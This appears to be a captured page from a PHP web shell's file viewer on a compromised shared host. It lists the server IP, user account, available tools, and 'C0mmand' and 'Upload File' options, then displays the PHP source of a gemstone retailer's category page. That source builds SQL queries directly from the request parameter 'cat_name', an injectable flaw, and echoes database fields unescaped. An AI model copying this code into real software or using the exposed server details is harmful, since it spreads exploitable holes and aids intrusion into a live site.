Server IP : 103.53.40.154 / Your IP : 3.145.89.89 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/semipreciousslab.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include("site-header.php")?> <style> .welc{width:100%;} </style> <link rel="stylesheet" href="<?=$site_url?>/assets/css/lightbox.css"> <section id="breadcrumb" data-background="assets/img/demo/slides/02.jpg" class="parallax-window"> <div> <h1 class="section-title white-font text-center"><?=db_scalar("select category_name from tbl_category where category_status='Active' and category_id='$catgoryID'")?></h1> <ul> <li><a href="<?=$site_url?>/index.html">Home</a></li> <li><?=db_scalar("select category_name from tbl_category where category_status='Active' and category_id='$catgoryID'")?></li> </ul> </div> </section> <?php $prd_name=$_REQUEST['cat_name']; $catID=db_scalar("select category_id from tbl_category where 1 and category_url='$prd_name'"); $countSubCat=db_scalar("select count(*) from tbl_category where category_parent_id='$catID' and category_status='Active'"); ?> <?php if($countSubCat > 0){ ?> <?php $sql_cat=db_query("select * from tbl_category where 1 and category_id='$catID'"); if(mysqli_num_rows($sql_cat) > 0){ $CAT_DATA=mysqli_fetch_array($sql_cat); @extract($CAT_DATA); } ?> <!-- End About Us --> <section id="our-story pd01"> <div class="container"> <div class="row"> <div class="col-md-4 hidden-sm hidden-xs glysty"> <a href="<?=$site_url?>/uploaded_files/<?=$category_image_name?>" data-fancybox="images"> <img src="<?=$site_url?>/uploaded_files/<?=$category_image_name?>" alt="<?=$category_name?>" title="<?=$category_name?>" class="img-responsive welc"> </a> </div> <div class="col-sm-8"> <div class="story-description"> <span class="section-suptitle">Divya Gem Stonex</span> <h2 class="section-title"><?=$category_name?> </h2> <?=$category_description?> <a href="<?=$site_url?>/enquiry.html?prd=<?=$category_name?>" class="btn-food">Enquiry Now</a> </div> </div> </div> </div> </section> <?php $sql_catimage=db_query("select * from tbl_category_image where 1 and category_image_cat_id='$catID' order by category_image_id desc"); if(mysqli_num_rows($sql_catimage)>0){ ?> <section id="events" class="padd-100"> <div class="container"> <div class="row"> <div class="col-md-12"> <h4 class="section-title"> Related Image</h4> </div> <div class="col-sm-12 no-padd event-carousel1"> <?php while($CAT_IMAGE=mysqli_fetch_array($sql_catimage)){ @extract($CAT_IMAGE); ?> <div class="col-md-3 col-xs-12 event-item prod"> <a data-fancybox="images" href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>"> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="<?=$category_name?>" title="<?=$category_name?>"> </a> </div> <?php } ?> </div> </div> </div> </section> <?php } ?> <section id="events" class="padd-100"> <span class="section-suptitle text-center"> <?=$category_name?> </span> <h2 class="section-title sep-type-2 text-center"> Products </h2> <div class="container"> <div class="row"> <div class="col-sm-12 no-padd event-carousel1"> <?php $sql="select * from tbl_category where 1 and category_parent_id='$catID' and category_status='Active' order by category_id asc"; $sql_subcat=db_query($sql); $count=0; while($SUBCAT_DATA=mysqli_fetch_array($sql_subcat)){ @extract($SUBCAT_DATA); $count++; ?> <div class="col-md-4 col-xs-12 event-item prod"> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html" > <img src="<?=$site_url?>/uploaded_files/<?=$SUBCAT_DATA['category_image_name']?>" alt="<?=$SUBCAT_DATA['category_name']?>" title="<?=$SUBCAT_DATA['category_name']?>"></a> <div> <h3><?=$SUBCAT_DATA['category_name']?></h3> <?=substr($SUBCAT_DATA['category_description'],0,85)?> <p><br /> <a href="<?=$site_url?>/<?=$SUBCAT_DATA['category_url']?>.html">Read More</a></p> </div> </div> <?php if($count%3==0){ echo "</div><div class='clearfix'>"; } } ?> </div> </div> </div> </section> <? }else{ ?> <?php if(!empty($catID)){ $sql_final=db_query("select * from tbl_category where 1 and category_id='$catID'"); $FINAL_DATA=mysqli_fetch_array($sql_final); @extract($FINAL_DATA); $productName=$FINAL_DATA['category_name']; $productImageName=$FINAL_DATA['category_image_name']; $productDescription=$FINAL_DATA['category_description']; } ?> <section id="our-story pd01"> <div class="container"> <div class="row"> <div class="col-md-4 hidden-sm hidden-xs glysty"> <a href="<?=$site_url?>/uploaded_files/<?=$category_image_name?>" data-fancybox="images"> <img src="<?=$site_url?>/uploaded_files/<?=$category_image_name?>" alt="<?=$category_name?>" title="<?=$category_name?>" class="img-responsive welc" style="margin:20px 0px;"> </a> </div> <div class="col-sm-8"> <div class="story-description"> <span class="section-suptitle">Divya Gem Stonex</span> <h2 class="section-title"><?=$productName?> </h2> <?=$productDescription?> <a href="<?=$site_url?>/enquiry.html?prd=<?=$productName?>" class="btn-food">Enquiry Now</a> </div> </div> </div> </div> </section> <?php $sql="select * from tbl_category_image where 1 and category_image_cat_id='$catID' order by category_image_id desc"; $sql_catimage=db_query($sql); if(mysqli_num_rows($sql_catimage)>0){ ?> <section id="events" class="padd-100"> <div class="container"> <div class="row"> <div class="col-md-12"> <h4 class="section-title"> Related Image</h4> </div> <div class="col-sm-12 no-padd event-carousel1"> <?php while($CAT_IMAGE=mysqli_fetch_array($sql_catimage)){ @extract($CAT_IMAGE); ?> <div class="col-md-3 col-xs-12 event-item prod"> <a data-fancybox="images" href="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>"> <img src="<?=$site_url?>/category_more_images/<?=$CAT_IMAGE['category_image_name']?>" alt="<?=$category_name?>" title="<?=$category_name?>"> </a> </div> <?php } ?> </div> </div> </div> </section> <?php } ?> <? } ?> <script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js'></script> <script src='assets/js/js-gallery/ybgpzy.js'></script> <script src="assets/js/js-gallery/indexs.js"></script> <script src='<?=$site_url?>/assets/js/lightbox.js'></script> <?php include("site-footer.php")?>